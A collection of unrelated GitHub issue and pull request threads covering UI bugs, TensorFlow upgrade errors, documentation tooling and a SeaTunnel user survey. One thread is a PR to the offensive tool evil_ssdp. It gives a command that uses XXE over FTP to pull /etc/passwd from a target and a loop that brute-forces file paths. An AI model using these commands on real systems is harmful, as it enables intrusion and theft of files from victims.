Navbar overflow for whole mobile view

Bug Description
There's the overflow of the navbar in mobile view of the whole site.
Steps to Reproduce
Steps to reproduce the behavior:

Go to thenewboston.com on mobile view.
Scroll horizontally.

Expected behavior
There should be no x-scroll on the mobile view.
Actual behavior
x-scroll on the whole site.
Screenshots/Recordings
If applicable, add screenshots to help explain your problem.
OS and Browser

OS: [e.g. Windows 10]
Browser [e.g. Chrome, Safari]

Additional context
Add any other context about the problem here.
Account Number
Your account number where the reward coins for this bug bounty will be sent (pending review and approval).
How to Create an Account

Overlap with #1859


AttributeError: 'module' object has no attribute 'random_crop'

I'm on using Ubuntu 14.04 and installed tensorflow. When I ran the image processing example as in the website, it failed complaining about random_crop not found. I took the code from here
https://github.com/tensorflow/tensorflow/blob/r0.7/tensorflow/models/image/cifar10/
Here's the exception stack:
Traceback (most recent call last):
  File "cifar10_train.py", line 136, in <module>
    tf.app.run()
  File "/usr/local/lib/python2.7/dist-packages/tensorflow/python/platform/default/_app.py", line 11, in run
    sys.exit(main(sys.argv))
  File "cifar10_train.py", line 132, in main
    train()
  File "cifar10_train.py", line 67, in train
    images, labels = cifar10.distorted_inputs()
  File "/home/sarah/Documents/SVHN/cifar10.py", line 150, in distorted_inputs
    batch_size=FLAGS.batch_size)
  File "/home/sarah/Documents/SVHN/cifar10_input.py", line 161, in distorted_inputs
    distorted_image = tf.random_crop(reshaped_image, [height, width, 3])
AttributeError: 'module' object has no attribute 'random_crop'

what version of tensorflow do you have?  We renamed tf.image.random_crop to tf.random_crop between 0.6 to 0.7 -- upgrading should solve the problem, or checking out the code at the 0.6.0 branch if you don't want to upgrade.

@vrv
I upgrade the code to TensorFlow 1.0,and it is successful.
But affter i run python cifar10_train.py,it throw error.
upgrade message
python ../../tensorflow/tensorflow/tools/compatibility/tf_upgrade.py --infile cifar10_input.py --outfile cifar10_input2.py --copyotherfiles True
TensorFlow 1.0 Upgrade Script
-----------------------------
Converted 1 files

Detected 0 errors that require attention
--------------------------------------------------------------------------------

Make sure to read the detailed log 'report.txt'

run message
python cifar10_train.py
Traceback (most recent call last):
  File "cifar10_train.py", line 138, in <module>
    tf.app.run()
  File "/usr/local/lib/python2.7/dist-packages/tensorflow/python/platform/app.py", line 124, in run
    _sys.exit(main(argv))
  File "cifar10_train.py", line 134, in main
    train()
  File "cifar10_train.py", line 69, in train
    images, labels = cifar10.distorted_inputs()
  File "../../cifar10.py", line 139, in distorted_inputs
    batch_size=FLAGS.batch_size)
  File "../../cifar10_input2.py", line 156, in distorted_inputs
    distorted_image = tf.random_crop([reshaped_image,[height, width]], 10)
  File "/usr/local/lib/python2.7/dist-packages/tensorflow/python/ops/random_ops.py", line 302, in random_crop
    value = ops.convert_to_tensor(value, name="value")
  File "/usr/local/lib/python2.7/dist-packages/tensorflow/python/framework/ops.py", line 932, in convert_to_tensor
    as_ref=False)
  File "/usr/local/lib/python2.7/dist-packages/tensorflow/python/framework/ops.py", line 1022, in internal_convert_to_tensor
    ret = conversion_func(value, dtype=dtype, name=name, as_ref=as_ref)
  File "/usr/local/lib/python2.7/dist-packages/tensorflow/python/ops/array_ops.py", line 1001, in _autopacking_conversion_function
    return _autopacking_helper(v, inferred_dtype, name or "packed")
  File "/usr/local/lib/python2.7/dist-packages/tensorflow/python/ops/array_ops.py", line 964, in _autopacking_helper
    return gen_array_ops._pack(elems_as_tensors, name=scope)
  File "/usr/local/lib/python2.7/dist-packages/tensorflow/python/ops/gen_array_ops.py", line 2928, in _pack
    "Pack", values=values, axis=axis, name=name)
  File "/usr/local/lib/python2.7/dist-packages/tensorflow/python/framework/op_def_library.py", line 787, in _apply_op_helper
    op_def=op_def)
  File "/usr/local/lib/python2.7/dist-packages/tensorflow/python/framework/ops.py", line 3162, in create_op
    compute_device=compute_device)
  File "/usr/local/lib/python2.7/dist-packages/tensorflow/python/framework/ops.py", line 3208, in _create_op_helper
    set_shapes_for_outputs(op)
  File "/usr/local/lib/python2.7/dist-packages/tensorflow/python/framework/ops.py", line 2427, in set_shapes_for_outputs
    return _set_shapes_for_outputs(op)
  File "/usr/local/lib/python2.7/dist-packages/tensorflow/python/framework/ops.py", line 2400, in _set_shapes_for_outputs
    shapes = shape_func(op)
  File "/usr/local/lib/python2.7/dist-packages/tensorflow/python/framework/ops.py", line 2330, in call_with_requiring
    return call_cpp_shape_fn(op, require_shape_fn=True)
  File "/usr/local/lib/python2.7/dist-packages/tensorflow/python/framework/common_shapes.py", line 627, in call_cpp_shape_fn
    require_shape_fn)
  File "/usr/local/lib/python2.7/dist-packages/tensorflow/python/framework/common_shapes.py", line 691, in _call_cpp_shape_fn_impl
    raise ValueError(err.message)
ValueError: Shapes must be equal rank, but are 3 and 1
        From merging shape 0 with other shapes. for 'random_crop/value' (op: 'Pack') with input shapes: [32,32,3], [2].


Please update to angular 2 final

Best angular notifier, please update to angular 2 final!

Working on that right now :)

OK, I finally found the time to finish up the new version, ready to be used with Angular 2 Final.
However, I renamed the library from angular2-notifier to angular-notifier. Primary reason is the planed release cycle of Angular, in particular the major releases every six months. The new name is a preparation for that, allowing developers to see that this library will not only work with Angular 2, but also with Angular 3, Angular 4, and so on.
Therefore, you can find the new version right here: https://github.com/dominique-mueller/angular-notifier.
It's a complete rewrite. However, lots of the public API, configuration, and even underlying code is very similar. Migration should be as simple as reading and comparing both README files. In addition, it may be necessary to fix the module loading / bundling configurations.
Have fun coding! If you have any further questions, just leave another comment down below :)

Terrific news , thanks :)


docs/contributing/api for key modules using typedoc

Draft for issue #415.

Issue suggests to add the following to contributing docs:

Architecture overview
Links to key functions
Static API documentation from inline docs

Originally I thought generating documentation for all files might be overwhelming and unnecessary so I did a partial generation for key files. This didn't work out great - many types became un clickable.
Current approach

Serve generated docs for full API from gh-pages. To avoid commit noise.
Create architecture overview in markdown as part of the repo with links to static docs. My initial stab at it is in CommandRunner.runCommand. Combined with the video code walk through from Pokey this should be a good starting point.
Serve the overview as a home page for the docs. By itself a reference would probably not be useful, but combined with an overview ideally one could stay on the documentation website and get a good sense of the project internals.

 Turns out the action simply pushed to gh-pages branch. To host the page additional setup was needdd in settings for the repo :D

Oh that is caused by generating partial APIs. Types are referenced in type signatures that are not included in the API. This results in non clickable types :( I will fix that.

Addressed most comments. Readme in the next commit.
Default exports switched to named for typedoc to be able to reference using class names. Also final documentation looks better when a class isn't simply called default.

I have looked for a way to migrate default exports to named ones, but the best that I found is migrating one by one using inline hints in visual studio code. Unfortunately seems to only be doable one by one. I suspect some linter can do this.

Notes from the meetup:

All contributers are on VSCode, maybe there is a way to use some VSCode extensions?
How are common npm packages hosting their docs?

Resources

Typedoc -> sphinx https://github.com/mozilla/sphinx-js
https://blog.cloudflare.com/generating-documentation-for-typescript-projects/
https://dotnet.github.io/docfx/
https://tsdoc.org/

What we want:

Permanent links. Once we publish it, it doesn't break.

Architecture overview.

Linking from one function to another.

Search.

Notes from the meetup:

All contributers are on VSCode, maybe there is a way to use some VSCode extensions?

How are common npm packages hosting their docs?

Look into how rust docs

Resources

https://tsdoc.org/

DocFX + TypeDoc

Typedoc -> sphinx https://github.com/mozilla/sphinx-js

Thanks for capturing this! Looks good to me

What we want:

Permanent links. Once we publish it, it doesn't break.

Architecture overview.

Linking from one function to another.

Search.

Notes from the meetup:

All contributers are on VSCode, maybe there is a way to use some VSCode extensions?

How are common npm packages hosting their docs?

Look into how rust docs

Resources

https://tsdoc.org/

DocFX + TypeDoc

Typedoc -> sphinx https://github.com/mozilla/sphinx-js

Thanks for capturing this! Looks good to me

How come there are still two open PRs here? Shall we close one?

Oh no I thought it was just a test branch. I was using it to test deployment to gh pages, forgot that its linked to this PR..


Move to cobra library.

Description
Currently the codeowners-validator allows you to specify the configuration only via environment variables.
Moving to cobra library will allow us to use the codeowners-validator as a full CLI app.
Acceptance Criteria

user can user codeowners-validator as CLI
user can specify configuration via cli flags
user can specify configuration via env variables

Can I suggest urfave/cli(v2) instead?
I think Cobra is a bit overkill unless you have a rich set of sub-commands, parameters, flags, etc., and ends up being a pain to maintain if you only have a couple options.  I have found for smaller projects that urfave/cli is a lot easier.
To add to it, it was recently released with a V2 so it's under active development again.

Hi @klauern thanks for that suggestion. I also think that cobra is quite overkilling but it provides autocompletion, generating documentation from code etc., working with the configuration from different sources and I know it from some CLIs such as docker, k8s.
But first, look at urfave/cli is really promising and I will definitely do the comparison and consider to choose the simplest one :) thanks for heads up! 👍


Machine mac-30 lost external connection from iPhone device.

Is there an existing issue for this?

[X] I have searched the existing infra issues

Type of Request
infra task
Infrastructure Environment
LUCI, Github, Cocoon scheduler, Autosubmit, etc...
What is happening?
Machine mac-30 lost external connection from iPhone device.

Steps to reproduce
Step 1:
Step 2:
..
Step n:
Expected results
I expect to see X when Y is finished.

External connection has been restored by rebooting iPhone device.


Uninitialized memory in schedulable_queue

While debugging a program using rxcpp with valgrind I ran into a lot of uninitialized memory reports from schedulable_queue in rx-scheduler.hpp. Some further analysis revealed that the cause was "int64_t ordinal;" in that class which is never initialized to any value. However, the way it is used is still safe (possibly with the exception of it starting out at a really large value, as the value is signed, and signed integer overflow is undefined as far as I remember).
Still I would suggest initialising the variable to a value to reduce the amount of false positives reported when using analysis tools such as valgrind.

I agree on all points. This is a very helpful contribution, thank you!


Missing WOPublic dir

Trying to build the project, I get a number of errors about missing class files:
No such file or directory: '/Users/blivens/dev/synergy/WOPublic/NSDictionary+WOCreation.m'
No such file or directory: '/Users/blivens/dev/synergy/WOPublic/NSMutableString+WOEditingUtilities.m'
No such file or directory: '/Users/blivens/dev/synergy/WOPublic/NSString+WOCreation.m'
No such file or directory: '/Users/blivens/dev/synergy/WOPublic/WOLoginItem.m'
No such file or directory: '/Users/blivens/dev/synergy/WOPublic/NSString+WOFileUtilities.m'
No such file or directory: '/Users/blivens/dev/synergy/WOPublic/WOLoginItemList.m'

The WOPublic directory is empty. Are these files available from another repo?

This just requires running git submodule update --init --rebase after cloning. I've added a note to the README in #3.

Cool. Thanks for this.


[1038]  Remove non continuous applications logic from provider mailers

Context
Continuous applications was built using a feature flag. Now we’ve launched it we’re left with a lot of redundant code relating to the “old flow”. We are removing that now.
This PR deals with the provider mailers.
Changes proposed in this pull request
See commits.
Guidance to review
Recommend reveiwing commit by commit.
Link to Trello card
https://trello.com/c/4zlCIeGS/1038-catd-provider-mailers
Things to check

[x] If the code removes any existing feature flags, a data migration has also been added to delete the entry from the database
[x] This code does not rely on migrations in the same Pull Request
[x] If this code includes a migration adding or changing columns, it also backfills existing records for consistency
[x] If this code adds a column to the DB, decide whether it needs to be in analytics yml file or analytics blocklist
[x] API release notes have been updated if necessary
[x] If it adds a significant user-facing change, is it documented in the CHANGELOG?
[x] Required environment variables have been updated added to the Azure KeyVault

 CATD: Provider mailers

Do we need to remove rbd_date, and rbd_days from the struct on provider mailer? See ProviderMailer#map_application_choice_params method

Do we need to remove rbd_date, and rbd_days from the struct on provider mailer? See ProviderMailer#map_application_choice_params method

@tomas-stefano i've removed rbd_date from the struct, but I left in rbd_days, as I think it's used in: https://github.com/DFE-Digital/apply-for-teacher-training/blob/main/app/views/provider_mailer/application_rejected_by_default.text.erb
Do we need to remove that email too?


[HOLD on #16660][$1000] Web – Assign Task – Whole page jitter on check and uncheck of checkbox.

If you haven’t already, check out our contributing guidelines for onboarding and email<EMAIL_ADDRESS>to request to join our Slack channel!

Action Performed:

Open any " Assign Task " chat.
Check and uncheck checkbox under title multiple times.
Notice after few times of check and uncheck whole page starts to jitter.

Expected Result:
Page should not start to jitter upon check and uncheck of checkbox.
Actual Result:
Page starts to jitter upon selection check and uncheck of checkbox.
Workaround:
Unknown
Platforms:

Which of our officially supported platforms is this issue occurring on?

[ ] Android / native
[ ] Android / Chrome
[ ] iOS / native
[ ] iOS / Safari
[x] MacOS / Chrome / Safari
[ ] MacOS / Desktop

Version Number: 1.3.39-5
Reproducible in staging?: y
Reproducible in production?: y
If this was caught during regression testing, add the test name, ID and link from TestRail:
Email or phone of affected tester (no customers):
Logs: https://stackoverflow.com/c/expensify/questions/4856
Notes/Photos/Videos: Any additional supporting documentation
https://github.com/Expensify/App/assets/93399543/8401f72f-a157-44fc-84f3-75f2a2c30500
https://github.com/Expensify/App/assets/93399543/f4d8680e-7b8e-487a-9d96-2af02d4a2a36
Expensify/Expensify Issue URL:
Issue reported by: @usmantariq96
Slack conversation: https://expensify.slack.com/archives/C049HHMV9SM/p1689069224351539
View all open jobs on GitHub
Upwork Automation - Do Not Edit

Upwork Job URL: https://www.upwork.com/jobs/~0156490fa397b075d8
Upwork Job ID:<PHONE_NUMBER>675022336
        2023-07-25Automatic offers:

 |  | 0
 |  | 0

This was tough to reproduce, but I got it eventually. Make sure to check/uncheck the task until there is a scroll bar in the thead, then scroll up so that you can't see new updates at the footer if you continue to check/uncheck

Indeed very tough to repro, I'll keep it under on radar and wait for any proposals 👌🏼

Proposal
Please re-state the problem that we are trying to solve in this issue.
In task page, the page jitters when the user clicks(check & uncheck) the checkbox continuously. (Approximately, more than 10~14 times)
What is the root cause of that problem?
https://github.com/Expensify/App/blob/8dcad168d11a71424b6ffd7fa30fd1770c0165d5/src/components/InvertedFlatList/BaseInvertedFlatList.js#L136-L138
I think it's because of getItemLayout in FlatList.
Currently, we save size & offset of each item using measureItemLayout function while rendering and we input them using getItemLayout function in next rendering.
We use sizeMap array to save size & offset of items.
But all these code was assumed and written as if new item will be added to the last element of the item array in FlatList when the user adds a comment.
Actually, it will be added to first element of the item array.
What changes do you think we should make in order to solve the problem?
We need to update getItemLayout and measureItemLayout functions based on correct mechanism.
const sizeMapIndex = this.props.data.length - index - 1;
We need to get index again in reverse order when we read & write size information of items with sizeMap array.
And also offset of newly added item is 0.
What alternative solutions did you explore? (Optional)
We may not use getItemLayout in FlatList. But it could affect performance for list of many items.

Hi @akamefi202, thanks for your proposal. First of all, I've tried to test your approach on my end, but it causes an error for me. I've attached a diff which I used.
Later, I'm not sure about the root cause you have written. As, most likely, you pinpointed the faulty code correctly, but you didn't provide an answer as to why it only occurs after spamming check/uncheck. If we were wrongly saving measurements, shouldn't it cause problems way earlier, not only after clicking multiple times?
diff --git a/src/components/InvertedFlatList/BaseInvertedFlatList.js b/src/components/InvertedFlatList/BaseInvertedFlatList.js
index d3fcda0ea5..e941933cec 100644
--- a/src/components/InvertedFlatList/BaseInvertedFlatList.js
+++ b/src/components/InvertedFlatList/BaseInvertedFlatList.js
@@ -53,13 +53,14 @@ class BaseInvertedFlatList extends Component {
      * @return {Object}
      */
     getItemLayout(data, index) {
-        const size = this.sizeMap[index];
+        const sizeMapIndex = this.props.data.length - index - 1;
+        const size = this.sizeMap[sizeMapIndex];

         if (size) {
             return {
                 length: size.length,
                 offset: size.offset,
-                index,
+                index: sizeMapIndex,
             };
         }

@@ -76,7 +77,7 @@ class BaseInvertedFlatList extends Component {
             // initialRowHeight since we can only assume that all previous items
             // have not yet been measured
             offset: _.isUndefined(lastMeasuredItem) ? this.props.initialRowHeight * index : lastMeasuredItem.offset + this.props.initialRowHeight,
-            index,
+            index: sizeMapIndex,
         };
     }

@@ -88,20 +89,22 @@ class BaseInvertedFlatList extends Component {
      */
     measureItemLayout(nativeEvent, index) {
         const computedHeight = nativeEvent.layout.height;
+        const sizeMapIndex = this.props.data.length - index - 1;

         // We've already measured this item so we don't need to
         // measure it again.
-        if (this.sizeMap[index]) {
+        if (this.sizeMap[sizeMapIndex]) {
             return;
         }

-        const previousItem = this.sizeMap[index - 1] || {};
+        const previousItem = this.sizeMap[sizeMapIndex - 1] || {};

         // If there is no previousItem this can mean we haven't yet measured
         // the previous item or that we are at index 0 and there is no previousItem
         const previousLength = previousItem.length || 0;
         const previousOffset = previousItem.offset || 0;
-        this.sizeMap[index] = {
+        this.sizeMap[sizeMapIndex] = {
             length: computedHeight,
             offset: previousLength + previousOffset,
         };

@robertKozik
About the code changes, we should use original index when return size data. We should use sizeMapIndex only for reading & writing sizeMap array.
if (size) {
     return {
         length: size.length,
         offset: size.offset,
         index,
     };
}

And offset should be 0, when we return size data of newly added item.
About root cause, getItemLayout is an optional optimization to improve performance of FlatList when it contains so many items.
When FlatList has only few items, it is enough to compute size of items correctly.
After many items are added to the list, the component start to refer the size data(which is not accurate now) to reduce time for the measurement of dynamic content.
So we see this issue after many items are added to the list.
One more thing is we're adding new items to invisible viewport when we check & uncheck the checkbox.
I think this is the reason why we see this issue only in task page.
The component gives priority to compute size of visible items and we're adding new items to invisible viewport.
So it might use wrong size data from sizeMap array instead of computing size of new items.
This is just my analysis and other engineer might find more accurate reason.
But it's definitely clear that this issue is occurred by getItemLayout and we can fix by updating getItemLayout and measureItemLayout functions.

Proposal
Please re-state the problem that we are trying to solve in this issue.
After checking/unchecking the task the page jitter.
What is the root cause of that problem?
The heights/offsets of the elements in the inverted FlatList are not calculated correctly. The full explanation for that is here. Previously, we addressed it by creating a BaseInvertedFlatList component, but it doesn't work fully as expected.
What changes do you think we should make in order to solve the problem?
Previously, we used the BaseInvertedFlatList component for inverted lists, to make it work on the web. However, the react-native-web library has addressed this issue related to the inverted FlatLists in this PR.
Solution:

We can update the @expensify/react-native-web with the latest changes from the necolas/react-native-web repository.
Remove the BaseInvertedFlatList component.
Replace <BaseInvertedFlatList /> usages with:

<FlatList
 inverted
 {...otherProps}
/>

However, there are some dependency-related issues here.
What alternative solutions did you explore? (Optional)
We can add to the @expensify/react-native-web fork changes only from this PR and replace BaseInvertedFlatList with FlatList with inverted option.
I created a short PoC video showing the results.

PoC video

https://github.com/Expensify/App/assets/104823336/ec4b725e-6d07-440f-8a66-94008572c8e6

@akamefi202 Your proposal has some strange behaviour when the message list is very long:
https://github.com/Expensify/App/assets/61146594/a32dabd7-e281-4e91-a9f8-c72bd4b278d2
@kosmydel I think we have bumping the react-native-web version in plans. If thats truly the case your proposal is better suited for this issue

Working on proposals 👀

@robertKozik Can we try to move to flashlist / recyclerlistview instead of using flatlist?

I think that @kosmydel has the best proposal here, and we should wait for the react-native-web update before proceeding. That is in this issue which is also blocked, but we are very close to it being unblocked, so I think it's worth the wait.

Since this is on Hold, I'm gonna apply Weekly label.
Note: I'm going to be OOO the next ~2 weeks and given this is on Hold, I'm not going to assign a BZ teammate because I feel like this won't be complete before I return. If I'm mistaken and this sees progress before I return, can you please remove my assignment & re-apply the Bug label to assign a BZ that's online? Thanks!

Still on hold

hold

linked issue is still in progress

Hey, as the react-native-web was merged I had a look at this issue.
I believe, that my original proposal is out of date, as the app has changed significantly. New bugs appeared, which didn't occur when I originally wrote the proposal.
The report item list is completely broken (on both production and staging):

Production
https://github.com/Expensify/App/assets/104823336/50290451-37fa-4c27-b026-bc75d2d6dd3f

Staging
https://github.com/Expensify/App/assets/104823336/e92c62be-2ef0-4ec0-848e-f146cf0f52ee

The flat list looks like is being rewritten from scratch:

https://github.com/Expensify/App/pull/28793 (it got reverted)
https://github.com/Expensify/App/issues/23223

Therefore, I think that this issue might not be relevant anymore, as this part of the app is being completely changed.
cc: @allroundexperts

Hey,
I've investigated this issue and it looks like it is fixed now. This PR introduced changes that I suggested in my proposal. I've retested this issue and for me, it doesn't occur anymore. I think we can close this one out.

Video

https://github.com/Expensify/App/assets/104823336/99bf071e-6282-4e0f-a794-22bb83ed5edf

cc @allroundexperts, @stitesExpensify, @adelekennedy

So in that case, can we close this issue?
cc @adelekennedy, @allroundexperts, @stitesExpensify


Update to latest bgfx.cmake

See https://forum.babylonjs.com/t/pixel-8-pro-crash/48956. Specifically, the fix that makes the code work is https://github.com/bkaradzic/bgfx/pull/3187.
This change also:

Cleans up the Android build such that the build output goes to the Build/Android folder.
Update CI to latest Xcode since the old compilers no longer compile with latest bgfx.

👍 LGTM
I'm wondering if this change makes BabylonJS/bgfx#35 unnecessary, now. If so then we should revert it so we're more closely sync'd with upstream bgfx.

I guess the question is whether we care about supporting older versions of Xcode. My guess is most people will be on newer versions.


UDatasets preprocessed, non-tokenized log files are missing

The false positive filtering step of Airtag being employed here requires a preprocessed, non-tokenized version of the raw logs where the fields within the logs are comma-separated in order to construct a field wise frequency list for filtering. These files are missing for UDatasets which we downloaded from the following google drive link and hence they cannot be evaluated. Could you please provide us with the preprocessed, non-tokenized version of UDataset logs?
For reference, an excerpt of the preprocessed, non-tokenized version of logs from the S3 dataset looks like this:

We have the (airtag-)tokenized version of UDatasets only. An excerpt from the U1 dataset looks like this:

Please see the "untokenized_udatasets" floder, kind of unsure if these files are what you want. If not, please let me know.

The uploaded files seem to be the log files for the single-host (S1, S2, S3) attacks dataset. Could you confirm if these files were used for the UDatasets as well? We require the pre-processed non-tokenised logs for the UDatasets.


Support for FTP exfiltration

This PR implements following:

own FTP server for FTP exfiltration using XXE
xxe-ftp template for FTP
dynamic DTD path in order to avoid caching of DTD requests (useful for bruteforcing file paths)
additional cli options (-f -d and -g)

Therefore, you can say something like this to dump /etc/passwd:
python3 evil_ssdp.py -t xxe-ftp -f /etc/passwd --debug eth0
Brute forcing example:
for i in `cat filepaths.txt`; do echo "guessing $i"; timeout 30s python3 evil_ssdp.py -t xxe-ftp -f $i eth0 ; echo "sleeping"; sleep 30; done

This is an excellent idea, thank you so much for your time and hard work.
I might need a few days to review the submission, but will get to it this week.
Thanks again!!!

Thanks again for your hard work. This looks really good.
 :)
I'm merged into another branch ftp just so I can tweak a few things and update the README before moving into master. My schedule this week is hectic, but I'm going to try to carve some time out next week to get this done.
Thanks again!


unnecessary repetition of scripts

Eg global scripts are appended to all snippets at compile time, while that should be done at the initialization of the runtime (ie, page load)

Done (082ad5d) but I may push it one step further -> no backend-frontend communication via the DOM; backend can directly hardcode all variables as literals and effectively generate iffinity.ts from scratch on compile.


Dismiss a dismissible using a function

Use case
There might be cases where the developer might want to dismiss a certain Dismissible without user swipe (for eg: click of a button).
Proposal
Add a function like dismiss to its state so that a dismissible can be dismissed using something like dismissibleKey.currentState.dismiss()
I would like to open a PR for this if its accepted. :smiley:

This use case can be accomplished using this package
https://github.com/letsar/flutter_slidable. Closing this issue as resolved.


Fix Wiremock admin docs endpoint

as of according to wiremock docs, it is a first link mentioned... so it could be quite surprising that it is not working in aem-stubs

Fixed


Suggestion for props

I would like innerHTML of custom elements to be removed from the DOM on custom node init, and I would like to have it in props
Example:
<hello-world foo="bar">HELLO</hello-world>

props = { foo: 'bar', innerHTML: 'HELLO'}

React did the same thing, and it fit nicely there, but here we have the web standard <slot> tag which probably does what you need.
If I did want to pass the content as a prop in addition to the <slot> capability, it would be in props.children and it would be a reference to the HTML element and not the raw html text. Would that be useful? what do you need it for?

Props children would be ok as well. I just like to work with dom components. I define them, usually in Svelte, and then I server render pages and populate custom components directly from the server.
To me, innerHTML is just another property. I use it for example , and innerHTML is data to be edited (like textarea)
Another example is custom button, or info box  where data in info box is info box data, I just re-wrap it in another HTML elements to give borders, icons, etc.
I assume this is not probably a standard way, but that is how I use it. I could live with that that I have to wrap it in  and it is first and only children, just because it is standard.

Actually I looked into it more and figured there's no reason not to use children property of the element itself, and just insert them into the DOM, so simple :)
Example:
And it works exactly like when using slot tag:
Pretty cool! thanks for the use case.

perfect!
So you can close this, fix table thing and you have a pretty good thing :)

I like my components' styles alongside the html as opposed to a central css file. With shadowRoot css is encapsulated by default. It's still easy to access generated content - define functions on the element and call them from outside. element.doSomething = () => {...doing something}


Does codis support data distribution control?

Normally, the message is distributed to one redis server according to the algorithm of slot,
But if i wanna distribute this same message to all of the redis servers.
Does codis support this? how can i do?

Codis does not support this feature.

thanks,  this feature is useful in some scenarios


This package is not auto-updated @packagist

On https://packagist.org/packages/google/apiclient this client is currently not auto-updated and as a result it's not possible to use the latest modifications from the master branch with dev-master which ATM includes support for Guzzle 7 but in composer it's still stuck at Guzzle 6.

Thanks for the heads up @mynameisbogdan, I've updated it so the latest version is now available. I'm going to keep this open to track as we work on getting that auto-update working properly.

This should be resolved going forward! Thanks again. :)


Create detector status report

Based on int_diagnostics__detector_status, we should create a human-readable status report which aggregates it up to either the district, or freeway-district combination (or a version of both). This would include things like:

Number of stations with each status
Fraction of stations with "good" status
...
...

cc @kengodleskidot who might have better ideas for nice summary statistics

I think a district wide summary of Good vs. Bad detectors (count and percent) with associated station metadata (County, City, Route, station type) for additional filtering would be great. We should also include a breakdown by error type since this level of detail provides district staff the ability to investigate the cause of a Bad detector status. This can be done on a daily basis since that is the timeframe associated with the detector status.
The temporal component in summary format would be beneficial as well. A typical example is to look at a user defined timeframe (weeks, months, up to 2 years) and see how many days a detector or detectors have reported a Good vs. Bad status along with associated statuses for the Bad detectors. District staff can then focus on detectors that have reported Bad status more frequently and by type to focus their efforts on how to diagnose/fix detectors.
We do not yet have the detector type (loop, MVDS, camera, etc.) metric available for analysis but we would want to include that as a filtering criterion once it's available.

@ian-r-rose clarified this issue is to build a mart for detector status, not to build out a dashboard.


feat: enable support for .NET 8.0

Adapt Testably.Abstractions to support .NET 8.0 with the following changes:

Add new methods for IRandom:

GetItems
Shuffle

Add new methods for IZipFile:
CreateFromDirectory and ExtractToDirectory now also work with a Stream

Change Timer so that it no longer throws ObjectDisposedException after being disposed:
see this change for more details

IFileInfo.CreateText now refreshes the internal cache of the FileInfo

Remove BinaryFormatter and serialization support for TestingException as the BinaryFormatter becomes obsolete

LastAccessTime is no longer updated for the source file when copying it on OSX.
(see https://github.com/dotnet/runtime/pull/79243 for more details)

Split into multiple PRs and made obsolete by #389


Who is using SeaTunnel？

Who is using SeaTunnel？
Sincerely thank everyone who constantly keeps on using and supporting SeaTunnel. We will try our best to make SeaTunnel better and make the community and ecology more prosperous.
The original intention of this issue
We’d like to listen to the community to make SeaTunnel better.
We want to attract more partners to contribute to SeaTunnel.
Learn more about the practical use scenarios of SeaTunnel to facilitate the next step of planning.
What we expect from you
Please submit a comment in this issue to include the following information:
your company, school, or organization.
your city and country.
your contact info: blog, email, Twitter (at least one).
for what business scenario do you use SeaTunnel.
You can refer to the following sample :

SeaTunnel Version:
Organization:
Location:
Contact:
Purpose:
Thanks again for your participation! Your support is the motivation for us to move forward.
SeaTunnel community

Organization:Anchnet
Location:Shanghai China
<EMAIL_ADDRESS>Purpose:Build a company level big data processing platform to serve the data lake and data warehouse projects

组织机构：益心游戏
地点：中国广州
<EMAIL_ADDRESS>目的：对埋点数据进行etl，写入Clickhouse进行实时分析

Organization:GridSum
Location:Beijing China
<EMAIL_ADDRESS>Purpose:Build the underlying execution engine for the data lake

Organization: CMCC
Location: SuZhou China
Contact<EMAIL_ADDRESS>Purpose: A new kind of data collect product, we will use it in https://ecloud.10086.cn

Organization: CETC
Location: Nanjing China
Contact<EMAIL_ADDRESS>Purpose: build the pipe line in data product

Organization:腾讯云
Location:wuhan China
<EMAIL_ADDRESS>Purpose: Analyze and learn design concepts

Organization:HuanYa
Location:ChengDu China
<EMAIL_ADDRESS>Purpose: Build a bigdata processing analyze platform to datacenter

Organization:数字广东
Location:GuangZhou China
<EMAIL_ADDRESS>Purpose: data pipeline and etl ,data lake

Organization:碧桂园金融事业群
Location:XiAn China
<EMAIL_ADDRESS>Purpose: as a big data warehouse framework

Organization:最右
Location:BeiJing China
<EMAIL_ADDRESS>Purpose: Build  the data pipeline and written to Clickhouse

Organization: Huya
Location: Guangzhou China
Contact<EMAIL_ADDRESS>Purpose: Data pipeline for ingest and consume

Organization: Bilibili
Location:Shanghai China
<EMAIL_ADDRESS>Purpose: Build the data pipeline tools in  our data platform

Organization: Anchnet
Location:Wuhan China
<EMAIL_ADDRESS>Purpose: Build Data Lake data, conversion and ETL tools.

Organization: Sunyard
Location: Hangzhou China
Contact<EMAIL_ADDRESS>Purpose: Export data from hive to Clickhouse, About 1-2TB of data each time.

Organization: SongGuo
Location: Beijing China
Contact<EMAIL_ADDRESS>Purpose: Data synchronization from Mysql to Hive.

Organization:ShiHang Fresh
Location:SuZhou JiangSu China
<EMAIL_ADDRESS>Purpose:As a ETL tool for transforming heterogeneous data source into Spark

Organization: AURORA
Location: ShenZhen GuangDong China
Contact<EMAIL_ADDRESS>Purpose: Data synchronization from Hive to ClickHouse.

Organization: ZHUOFANINFORMATION
Location:shanghai China
<EMAIL_ADDRESS>Purpose: Most data integration and ETL

Organization:Big Data Academy, Zhongke
Location:zhengzhou China
<EMAIL_ADDRESS>Purpose: Analyze and learn design concepts

Organization:EtonKids
Location:Beijing China
<EMAIL_ADDRESS>Purpose:Build a company level big data processing platform to data mining of user class.

Organization: Qihoo 360
Location: Beijing China
Contact<EMAIL_ADDRESS>Purpose:  ETL，data integration service

Organization: 重庆电网
Location: Beijing China
Contact<EMAIL_ADDRESS>Purpose: ETL，data integration service

Organization: Shopee
Location: Singapore
Contact<EMAIL_ADDRESS>Purpose: Data transformation and synchronization

Organization: ByteDance
Location: Hangzhou China
Contact<EMAIL_ADDRESS>Purpose: data integration service

Organization: 尚硅谷
Location: Beijing China
Contack<EMAIL_ADDRESS>Purpose: data integration，export data from hive to Clickhouse,

Organization: www.stey.com
Location: Beijing, China
Contact<EMAIL_ADDRESS>Purpose: ETL, data synchronization from MySQL to analysis system

组织机构：松果出行www.songguo7.com
地点：中国北京
<EMAIL_ADDRESS>目的：多场景数据同步，替代Sqoop

Organization：DMALL
Location: Beijing, China
Contact<EMAIL_ADDRESS><EMAIL_ADDRESS>Purpose： Provides a way to develop ETL tasks in a web interface. SeaTunnel is the underlying task execution engine, so that users only need to be familiar with SQL to complete the development of ETL tasks.

Organization：suofeiya
Location: Guangzhou, China
Contact<EMAIL_ADDRESS>Purpose： Provide data fusion services from multiple data sources.

Organization：Coupang
Location: Shanghai, China; Seoul, Korea; Seattle, America
Contact<EMAIL_ADDRESS>Purpose： Provide data sycn pipeline among aurora, hive, hbase, redshift and s3

Organization: Boulderaitech
Location: Hangzhou, China
Contact<EMAIL_ADDRESS>Purpose: sync data from db to hdfs

